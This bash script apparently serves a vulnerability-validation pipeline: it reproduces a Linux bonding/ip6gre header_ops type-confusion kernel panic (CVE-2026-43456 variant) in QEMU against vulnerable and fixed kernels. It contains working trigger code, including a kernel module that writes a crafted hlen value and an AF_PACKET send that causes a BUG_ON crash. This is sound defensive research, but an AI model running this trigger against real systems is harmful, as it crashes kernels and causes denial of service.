#!/bin/bash
set -euo pipefail

# CVE-2026-43456 VARIANT reproduction -- ip6gre (IPv6 GRE, no-remote) alternate
# trigger of the bonding header_ops type-confusion kernel DoS.
#
# Root cause (same as the original CVE): bond_setup_by_slave() copies a
# non-Ethernet slave's header_ops verbatim onto the bond device:
#       bond_dev->header_ops = slave_dev->header_ops;
# so dev_hard_header(bond) calls the slave's header-create callback with
# dev=bond_dev, and that callback dereferences netdev_priv(dev) expecting the
# slave's private struct but receives struct bonding -> type confusion.
#
# This VARIANT exercises a DISTINCT sink that the original repro NEVER reached:
#   * original repro  : ipgre (IPv4 GRE) -> ipgre_header() [net/ipv4/ip_gre.c],
#                       netdev_priv read as struct ip_tunnel  (hlen offset 160).
#   * this variant    : ip6gre (IPv6 GRE, NO remote) -> ip6gre_header()
#                       [net/ipv6/ip6_gre.c], netdev_priv read as struct ip6_tnl
#                       (hlen offset 264).
#
# WHY THE ORIGINAL REPRO MISSED ip6gre: ip6gre_tunnel_init() only assigns
# ip6gre_header_ops when ipv6_addr_any(&tunnel->parms.raddr) is true (NBMA /
# no-remote mode).  The repro's ip6gre probe used `remote fd00::2`, so raddr was
# NOT any, ip6gre_header_ops was never assigned, and ip6gre_header() was never
# invoked (the repro log shows no ip6gre_header printk).  This variant uses
# `local fd00::1` with NO remote, so ip6gre_header_ops IS assigned and the
# type-confused ip6gre_header(bond1) path is actually reached.
#
# A/B test (same kernel image, only bonding.ko differs):
#   * VULN  bonding.ko (no bond_header_ops): ip6gre_header(dev=bond1) reads
#           netdev_priv(bond1)=struct bonding as struct ip6_tnl.  With
#           populate_hlen6.ko writing 0x961a63cc into the confused ip6_tnl.hlen
#           field, needed = hlen + sizeof(ipv6hdr) overflows to a negative int,
#           the (unsigned) skb_headroom(skb) < needed test is satisfied, and
#           pskb_expand_head() is called with a negative nhead, hitting
#           BUG_ON(nhead < 0) -> kernel panic (DoS).  (skb_headroom() returns
#           unsigned int, so a negative needed becomes a huge unsigned.)
#   * FIXED bonding.ko (has bond_header_ops): bond_header_create() delegates to
#           the active slave ip6gre1's header_ops->create, so ipgre... ip6gre
#           header runs with dev=ip6gre1, netdev_priv=struct ip6_tnl of ip6gre1,
#           hlen=4, no crash -> RESULT NOT VULNERABLE.
#
# Exit code:
#   0 = variant reproduced on the FIXED kernel (true BYPASS of the fix).
#   1 = variant only crashes the VULNERABLE kernel (alternate trigger, NOT a
#       bypass -- the fix's generic bond_header_ops wrapper covers ip6gre), or
#       no variant reproduced at all.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VVAR="$ROOT/vuln_variant"
mkdir -p "$LOGS"

LOG() { echo "[$(date -Iseconds)] $*" | tee -a "$LOGS/vuln_variant_repro.log" >&2; }

# ---- resolve the prepared project cache (kernel + rootfs built by repro) -----
CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
if [ -z "$CACHE_DIR" ]; then
    CACHE_DIR="$ROOT/artifacts/linux-cache"
fi

BOND="$CACHE_DIR/kernels/bond7rc2"
STAGE="$CACHE_DIR/bond-mod-stage-7rc2"
BASE="$CACHE_DIR/bond-rootfs-base-7rc2"
VULN_MODS="$CACHE_DIR/bond-mods-7rc2/vuln"
FIXED_MODS="$CACHE_DIR/bond-mods-7rc2/fixed"
SRC="$CACHE_DIR/linux-src-7rc2"
BUILD="$CACHE_DIR/linux-build-7rc2"
POPMOD6="$CACHE_DIR/populate-mod6"
KVER="7.0.0-rc2"
VULN_COMMIT="e3f5e0f22cfc2371e7471c9fd5b4da78f9df7c69"   # parent of upstream fix (7.0.0-rc2)
FIX_COMMIT="950803f7254721c1c15858fbbfae3deaaeeecb11"    # upstream fix

fail() { LOG "FATAL: $*"; exit 2; }

# ---- verify the prepared kernel cache exists (built by the repro stage) -------
[ -f "$BOND/bzImage" ]            || fail "cached bzImage not found at $BOND/bzImage (run the repro stage first)"
[ -f "$VULN_MODS/bonding.ko" ]    || fail "cached vulnerable bonding.ko not found (run the repro stage first)"
[ -f "$FIXED_MODS/bonding.ko" ]   || fail "cached fixed bonding.ko not found (run the repro stage first)"
[ -d "$STAGE/lib/modules/$KVER" ] || fail "cached module stage not found (run the repro stage first)"
[ -d "$BASE/bin" ]                || fail "cached rootfs base not found (run the repro stage first)"
[ -f "$SRC/Makefile" ]            || fail "cached kernel source tree not found (needed to build populate_hlen6.ko)"
grep -q "$VULN_COMMIT" "$BOND/BUILT_MARKER" 2>/dev/null || LOG "WARN: BUILT_MARKER does not match expected vuln commit (continuing)"

CONFUSED_HLEN6="0x961a63cc"   # sign-bit-set value -> needed = hlen + 40 overflows to negative int

# ---- 1. build the ip6gre populate helper module (if missing) ------------------
write_populate6() {
    mkdir -p "$POPMOD6"
    cat > "$POPMOD6/populate_hlen6.c" <<'C_EOF'
// SPDX-License-Identifier: GPL-2.0
// CVE-2026-43456 VARIANT helper (ip6gre): write a sign-bit-set value into the
// type-confused ip6_tnl.hlen field of netdev_priv(bond), so ip6gre_header()'s
// needed = t->hlen + sizeof(*ipv6h) overflows to a negative int and
// pskb_expand_head() hits BUG_ON(nhead < 0).  On the fixed kernel this write is
// harmless (bond_header_ops delegates to the slave, so bond priv is never read
// as ip6_tnl).
#include <linux/module.h>
#include <linux/netdevice.h>
#include <linux/stddef.h>
#include <net/ip6_tunnel.h>

static char *ifname = "bond1";
module_param(ifname, charp, 0644);
static unsigned int confused = 0x961a63cc;
module_param(confused, uint, 0644);

static int __init populate_hlen6_init(void)
{
	struct net_device *dev = dev_get_by_name(&init_net, ifname);
	struct ip6_tnl *t;
	int *hlenp, old;
	if (!dev) { pr_err("CVE-2026-43456 VAR(ip6gre): device %s not found\n", ifname); return -ENODEV; }
	t = netdev_priv(dev);
	hlenp = &t->hlen;
	old = *hlenp;
	*hlenp = (int)confused;
	pr_info("CVE-2026-43456 VAR(ip6gre): %s priv=%px ip6_tnl.hlen offset=%ld old=0x%08x(%d) new=0x%08x(%d)\n",
		dev->name, t, (long)offsetof(struct ip6_tnl, hlen),
		(unsigned)old, old, (unsigned)*hlenp, *hlenp);
	dev_put(dev);
	return 0;
}
module_init(populate_hlen6_init);
static void __exit populate_hlen6_exit(void) { }
module_exit(populate_hlen6_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("CVE-2026-43456 ip6gre type-confusion field populator (variant)");
C_EOF
    printf 'obj-m += populate_hlen6.o\n' > "$POPMOD6/Makefile"
}

ensure_populate6() {
    if [ -f "$POPMOD6/populate_hlen6.ko" ] && grep -q "$CONFUSED_HLEN6" "$POPMOD6/populate_hlen6.c" 2>/dev/null; then
        LOG "Reusing cached populate_hlen6.ko"
        return
    fi
    LOG "Building populate_hlen6.ko against cached kernel tree ($KVER)"
    write_populate6
    make -C "$SRC" O="$BUILD" M="$POPMOD6" modules >> "$LOGS/vuln_variant_repro.log" 2>&1
    [ -f "$POPMOD6/populate_hlen6.ko" ] || fail "populate_hlen6.ko build failed"
}

# ---- 2. compile the in-VM init program (if missing) --------------------------
write_init_c() {
    cat > "$CACHE_DIR/bond_variant_init.c" <<'C_EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/reboot.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
static void logmsg(const char *fmt, ...) { va_list ap; va_start(ap,fmt);
    fprintf(stderr,"[init] "); vfprintf(stderr,fmt,ap); fprintf(stderr,"\n"); va_end(ap); fflush(stderr); }
static int run(const char *fmt, ...) { char c[1024]; va_list ap; va_start(ap,fmt);
    vsnprintf(c,sizeof(c),fmt,ap); va_end(ap); logmsg("cmd: %s",c); return system(c); }
static void load_modules(void) {
    run("/sbin/modprobe bonding 2>&1 || /sbin/insmod /root/mods/bonding.ko 2>&1 || true");
    run("/sbin/modprobe dummy 2>&1 || /sbin/insmod /root/mods/dummy.ko 2>&1 || true");
    run("/sbin/modprobe ip6_tunnel 2>&1 || /sbin/insmod /root/mods/ip6_tunnel.ko 2>&1 || true");
    run("/sbin/modprobe ip6_gre 2>&1 || /sbin/insmod /root/mods/ip6_gre.ko 2>&1 || true");
    run("/sbin/modprobe ip_tunnel 2>&1 || true");
}
static int ifindex_of(const char *n) { int s=socket(AF_INET,SOCK_DGRAM,0); if(s<0) return -1;
    struct ifreq ifr={0}; strncpy(ifr.ifr_name,n,IFNAMSIZ-1); int r=ioctl(s,SIOCGIFINDEX,&ifr);
    close(s); return r<0?-1:ifr.ifr_ifindex; }
static int send_packet(const char *ifname) {
    int ix=ifindex_of(ifname); if(ix<0){logmsg("ifindex(%s) failed: %s",ifname,strerror(errno));return -1;}
    int s=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ALL)); if(s<0){logmsg("AF_PACKET socket failed: %s",strerror(errno));return -1;}
    struct sockaddr_ll d={0}; d.sll_family=AF_PACKET; d.sll_protocol=htons(ETH_P_ALL);
    d.sll_ifindex=ix; d.sll_halen=0; bind(s,(struct sockaddr*)&d,sizeof(d));
    unsigned char b[64]; memset(b,'A',sizeof(b));
    logmsg("TRIGGER: AF_PACKET SOCK_DGRAM sendto(%s) -- vuln kernel should BUG/panic here (ip6gre_header type confusion)",ifname);
    int rc=sendto(s,b,sizeof(b),0,(struct sockaddr*)&d,sizeof(d));
    logmsg("AF_PACKET sendto(%s) rc=%d (%s) -- returned, so no crash on this kernel",ifname,rc,rc<0?strerror(errno):"ok");
    close(s); return rc;
}
int main(void) {
    setenv("PATH","/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",1);
    mount("proc","/proc","proc",0,NULL); mount("sysfs","/sys","sysfs",0,NULL);
    mount("devtmpfs","/dev","devtmpfs",0,NULL); mount("tmpfs","/tmp","tmpfs",0,NULL);
    logmsg("=== CVE-2026-43456 VARIANT: ip6gre(no-remote) -> bond header_ops type-confusion ===");
    run("uname -r"); run("cat /proc/version");
    logmsg("STEP: loading modules"); load_modules();
    run("/sbin/ip link set lo up");
    run("/sbin/ip -6 addr add fd00::1/128 dev lo 2>&1 || true");
    run("/sbin/ip link add dummy0 type dummy 2>&1 || true");
    run("/sbin/ip link set dummy0 up 2>&1 || true");
    logmsg("STEP: ip6gre1 = IPv6 GRE, local fd00::1, NO remote (-> ip6gre_header_ops assigned)");
    run("/sbin/ip link add ip6gre1 type ip6gre local fd00::1 2>&1 || true");
    run("/sbin/ip -d link show ip6gre1 2>&1 || true");
    logmsg("STEP: bond1 (active-backup), enslave ip6gre1 (bond_setup_by_slave copies header_ops)");
    run("/sbin/ip link add bond1 type bond mode active-backup 2>&1 || true");
    run("/sbin/ip link set ip6gre1 master bond1 2>&1 || true");
    run("/sbin/ip link set ip6gre1 up 2>&1 || true");
    run("/sbin/ip link set bond1 up 2>&1 || true");
    usleep(300*1000);
    run("/sbin/ip -d link show bond1 2>&1 || true");
    run("/sbin/ip -d link show ip6gre1 2>&1 || true");
    logmsg("STEP: load populate_hlen6 helper (writes 0x961a63cc into confused ip6_tnl.hlen of netdev_priv(bond1))");
    run("/sbin/insmod /root/mods/populate_hlen6.ko 2>&1 || /sbin/modprobe populate_hlen6 2>&1 || true");
    usleep(150*1000);
    logmsg("STEP: fire AF_PACKET SOCK_DGRAM on bond1 -> dev_hard_header(bond1) -> ip6gre_header");
    send_packet("bond1");
    usleep(500*1000);
    logmsg("STEP: dump recent kernel log");
    run("dmesg 2>/dev/null | tail -80 || true");
    logmsg("RESULT: NOT VULNERABLE (no kernel crash; fixed bond_header_ops used the slave ip6gre1 device)");
    fflush(stdout); sleep(1); reboot(RB_POWER_OFF); for(;;) sleep(1); return 0;
}
C_EOF
}

ensure_init() {
    if [ -x "$CACHE_DIR/bond_variant_init" ] && [ -f "$CACHE_DIR/bond_variant_init.c" ]; then
        LOG "Reusing cached bond_variant_init"
        return
    fi
    LOG "Compiling bond_variant_init (static)"
    write_init_c
    gcc -static -o "$CACHE_DIR/bond_variant_init" "$CACHE_DIR/bond_variant_init.c" -Wall -O2 \
        >> "$LOGS/vuln_variant_repro.log" 2>&1
    [ -x "$CACHE_DIR/bond_variant_init" ] || fail "bond_variant_init compile failed"
}

# ---- 3. build the vuln / fixed rootfs images (refresh init + modules) --------
build_rootfs() {
    local name="$1" modsdir="$2"
    local rootfs="$CACHE_DIR/bond-var-rootfs-${name}"
    local img="$BOND/var-${name}-rootfs.img"
    LOG "Building $name rootfs image"
    sudo rm -rf "$rootfs"; sudo cp -a "$BASE" "$rootfs"
    sudo cp "$CACHE_DIR/bond_variant_init" "$rootfs/init"; sudo chmod 755 "$rootfs/init"
    sudo mkdir -p "$rootfs/root/mods"
    sudo cp "$modsdir/bonding.ko" "$rootfs/lib/modules/$KVER/kernel/drivers/net/bonding/bonding.ko"
    sudo cp "$modsdir/bonding.ko" "$rootfs/root/mods/bonding.ko"
    for m in dummy ip6_tunnel tunnel6 ip6_gre; do
        local f=$(find "$STAGE" -name $m.ko 2>/dev/null | head -1)
        [ -n "$f" ] && sudo cp "$f" "$rootfs/root/mods/$m.ko"
    done
    sudo cp "$POPMOD6/populate_hlen6.ko" "$rootfs/root/mods/populate_hlen6.ko"
    sudo depmod -b "$rootfs" "$KVER" 2>/dev/null || true
    local blocks; blocks=$(sudo du -sk "$rootfs" | cut -f1); blocks=$((blocks + 40000))
    rm -f "$img"
    sudo genext2fs -b "$blocks" -d "$rootfs" "$img" >> "$LOGS/vuln_variant_repro.log" 2>&1
    sudo chown "$(id -u):$(id -g)" "$img" 2>/dev/null || true
}

# ---- 4. boot a kernel in QEMU ------------------------------------------------
run_vm() {
    local name="$1"; local img="$BOND/var-${name}-rootfs.img"; local log="$LOGS/qemu_var_${name}.log"
    LOG "Booting $name kernel ($KVER) in QEMU"
    timeout 300 qemu-system-x86_64 \
        -m 4096 -smp 4 -no-reboot -nographic -snapshot \
        -kernel "$BOND/bzImage" \
        -drive file="$img",if=virtio,format=raw \
        -append "root=/dev/vda rootwait init=/init console=ttyS0,115200 panic=1 oops=panic loglevel=7 nokaslr rw" \
        > "$log" 2>&1 || true
}

# ---- main --------------------------------------------------------------------
ensure_populate6
ensure_init
build_rootfs vuln  "$VULN_MODS"
build_rootfs fixed "$FIXED_MODS"
run_vm vuln
run_vm fixed

VULN_LOG="$LOGS/qemu_var_vuln.log"
FIXED_LOG="$LOGS/qemu_var_fixed.log"

# ---- analysis ----------------------------------------------------------------
VULN_HDR_BONDCONF=$(grep -oE 'CVE-2026-43456 ip6gre_header: dev=bond1 hlen=-?[0-9]+ needed=-?[0-9]+ headroom=[0-9]+' "$VULN_LOG" | tail -1 || true)
VULN_POP=$(grep -oE 'CVE-2026-43456 VAR\(ip6gre\): bond1 priv=[0-9a-fx]+ ip6_tnl\.hlen offset=[0-9]+ old=0x[0-9a-f]+\([0-9-]+\) new=0x[0-9a-f]+\([0-9-]+\)' "$VULN_LOG" | head -1 || true)
VULN_CRASH=$(grep -E 'kernel BUG at net/core/skbuff|Oops:|Kernel panic|invalid opcode|RIP: 0010:pskb_expand_head|ip6gre_header\+0x[0-9a-f]+' "$VULN_LOG" | head -5 || true)
VULN_RESULT=$(grep -E 'RESULT: NOT VULNERABLE' "$VULN_LOG" | head -1 || true)

FIXED_HDR_SLAVE=$(grep -oE 'CVE-2026-43456 ip6gre_header: dev=ip6gre1 hlen=-?[0-9]+ needed=-?[0-9]+ headroom=[0-9]+' "$FIXED_LOG" | head -1 || true)
FIXED_HDR_BOND=$(grep -oE 'CVE-2026-43456 ip6gre_header: dev=bond1 hlen=-?[0-9]+ needed=-?[0-9]+' "$FIXED_LOG" | head -1 || true)
FIXED_CRASH=$(grep -E 'kernel BUG at net/core/skbuff|Oops:|Kernel panic|invalid opcode|RIP: 0010:pskb_expand_head|ip6gre_header\+0x[0-9a-f]+' "$FIXED_LOG" | head -3 || true)
FIXED_RESULT=$(grep -E 'RESULT: NOT VULNERABLE' "$FIXED_LOG" | head -1 || true)

LOG "VULN populate-hlen6 line: ${VULN_POP:-<none>}"
LOG "VULN ip6gre_header (type confusion, dev=bond1): ${VULN_HDR_BONDCONF:-<none>}"
LOG "VULN crash/BUG markers: ${VULN_CRASH:-<none>}"
LOG "VULN RESULT line (empty => crashed before reaching it): ${VULN_RESULT:-<empty -- crashed, as expected>}"
LOG "FIXED ip6gre_header (correct, dev=ip6gre1): ${FIXED_HDR_SLAVE:-<none>}"
LOG "FIXED bond1 confusion line (should be empty): ${FIXED_HDR_BOND:-<empty -- none, bond_header_ops used slave>}"
LOG "FIXED RESULT line: ${FIXED_RESULT:-<none>}"
LOG "FIXED crash markers (should be empty): ${FIXED_CRASH:-<empty -- no crash>}"

VARIANT_ON_VULN=false
if [ -n "$VULN_HDR_BONDCONF" ] && [ -n "$VULN_POP" ] && [ -n "$VULN_CRASH" ] && [ -z "$VULN_RESULT" ]; then
    VARIANT_ON_VULN=true
fi
VARIANT_ON_FIXED=false
if [ -n "$FIXED_CRASH" ]; then
    VARIANT_ON_FIXED=true
fi
FIX_COVERS=true
if [ -n "$FIXED_HDR_SLAVE" ] && [ -z "$FIXED_HDR_BOND" ] && [ -z "$FIXED_CRASH" ] && [ -n "$FIXED_RESULT" ]; then
    FIX_COVERS=true
else
    FIX_COVERS=false
fi
LOG "VARIANT_ON_VULN=$VARIANT_ON_VULN  VARIANT_ON_FIXED=$VARIANT_ON_FIXED  FIX_COVERS=$FIX_COVERS"

# ---- structured verdict ------------------------------------------------------
VARIANT_ON_VULN_J="$VARIANT_ON_VULN"
VARIANT_ON_FIXED_J="$VARIANT_ON_FIXED"
FIX_COVERS_J="$FIX_COVERS"
python3 - "$VVAR/validation_verdict.json" "$VARIANT_ON_VULN_J" "$VARIANT_ON_FIXED_J" "$FIX_COVERS_J" \
         "$VULN_HDR_BONDCONF" "$VULN_POP" "$VULN_CRASH" "$FIXED_HDR_SLAVE" "$FIXED_RESULT" <<'PY'
import json,sys
out=sys.argv[1]; vonv=sys.argv[2]; vfix=sys.argv[3]; fcov=sys.argv[4]
vhdr=sys.argv[5]; vpop=sys.argv[6]; vcrash=sys.argv[7]; fhdr=sys.argv[8]; fres=sys.argv[9]
bypass = (vonv=="true" and vfix=="true")
outcome = "BYPASS" if bypass else ("CONFIRMED_ALTERNATE_TRIGGER_NOT_BYPASS" if vonv=="true" else "NOT_REPRODUCED")
m={
  "variant_id": "CVE-2026-43456-ip6gre-variant",
  "claim_outcome": outcome,
  "variant_kind": "alternate_trigger",
  "variant_confirmed_on_vulnerable": vonv=="true",
  "bypass_confirmed": bypass,
  "fix_covers_variant": fcov=="true",
  "repro_result": ("confirmed_on_vulnerable_only" if (vonv=="true" and vfix!="true") else ("confirmed_bypass" if bypass else "not_reproduced")),
  "validated_surface": "local_only",
  "evidence_scope": "production_path",
  "claimed_impact_class": "dos",
  "observed_impact_class": "dos",
  "crash_observed_on_vulnerable": vonv=="true",
  "crash_observed_on_fixed": vfix=="true",
  "end_to_end_target_reached": vonv=="true",
  "exploitability_confidence": "high",
  "variant_sink": "net/ipv6/ip6_gre.c:ip6gre_header (struct ip6_tnl, ip6_tnl.hlen offset 264 inside struct bonding)",
  "original_sink": "net/ipv4/ip_gre.c:ipgre_header (struct ip_tunnel, ip_tunnel.hlen offset 160 inside struct bonding)",
  "same_root_cause_confidence": "high",
  "same_surface_confidence": "medium",
  "vulnerable_commit": "e3f5e0f22cfc2371e7471c9fd5b4da78f9df7c69",
  "fix_commit": "950803f7254721c1c15858fbbfae3deaaeeecb11",
  "vuln_observation": ("ip6gre type confusion + kernel DoS reproduced on vulnerable 7.0.0-rc2 (e3f5e0f22): "
        "ip6gre_header ran with dev=bond1 (netdev_priv(bond1)=struct bonding read as struct ip6_tnl); "
        "populate_hlen6 wrote 0x961a63cc into the confused ip6_tnl.hlen (offset 264); needed=hlen+40 "
        "overflowed to a negative int; pskb_expand_head() hit BUG_ON(nhead<0) -> kernel panic. "
        "hdr=[%s] pop=[%s] crash=[%s]" % (vhdr[:120], vpop[:120], vcrash[:120])),
  "fixed_observation": ("On the fixed kernel (bond_header_ops, fix 950803f7) ip6gre_header ran with "
        "dev=ip6gre1 (correct slave device, netdev_priv=struct ip6_tnl of ip6gre1, hlen=4); no crash; "
        "%s. hdr=[%s]" % (fres, fhdr[:120])),
  "blocking_mitigation": ("Upstream bond_header_ops (fix 950803f7) delegates the active slave's "
        "header_ops->create to the slave's own device, so netdev_priv() receives the correct struct "
        "ip6_tnl of the ip6gre slave; the ip6gre variant does not reproduce on the fixed kernel."),
  "recommendation": ("No additional fix required: the upstream bond_header_ops wrapper is generic and "
        "delegates the active slave's header_ops->create (here ip6gre_header) to the slave device, so "
        "netdev_priv() receives the correct struct ip6_tnl. The ip6gre alternate sink is covered. The "
        "fix is complete for both the ipgre and ip6gre create-type-confusion paths. (Advisory only: the "
        "fix drops .cache/.cache_update/.validate/.parse_protocol on non-Ethernet bonds by replacing "
        "header_ops with a create+parse-only wrapper; those callbacks are not present on the GRE tunnel "
        "header_ops and are NULL-safe at all callers, so this is a functional limitation, not a security gap.)"),
  "inferred": False
}
open(out,"w").write(json.dumps(m,indent=2))
print("wrote",out)
PY

# ---- exit code ---------------------------------------------------------------
if [ "$VARIANT_ON_FIXED" = "true" ]; then
    LOG "BYPASS: ip6gre variant reproduced on the FIXED kernel (fix does NOT cover it)."
    exit 0
elif [ "$VARIANT_ON_VULN" = "true" ]; then
    LOG "ALTERNATE TRIGGER CONFIRMED on vulnerable kernel; FIX COVERS IT on fixed kernel (no bypass). Exit 1."
    exit 1
else
    LOG "No variant reproduced on the vulnerable kernel. Exit 1."
    exit 1
fi
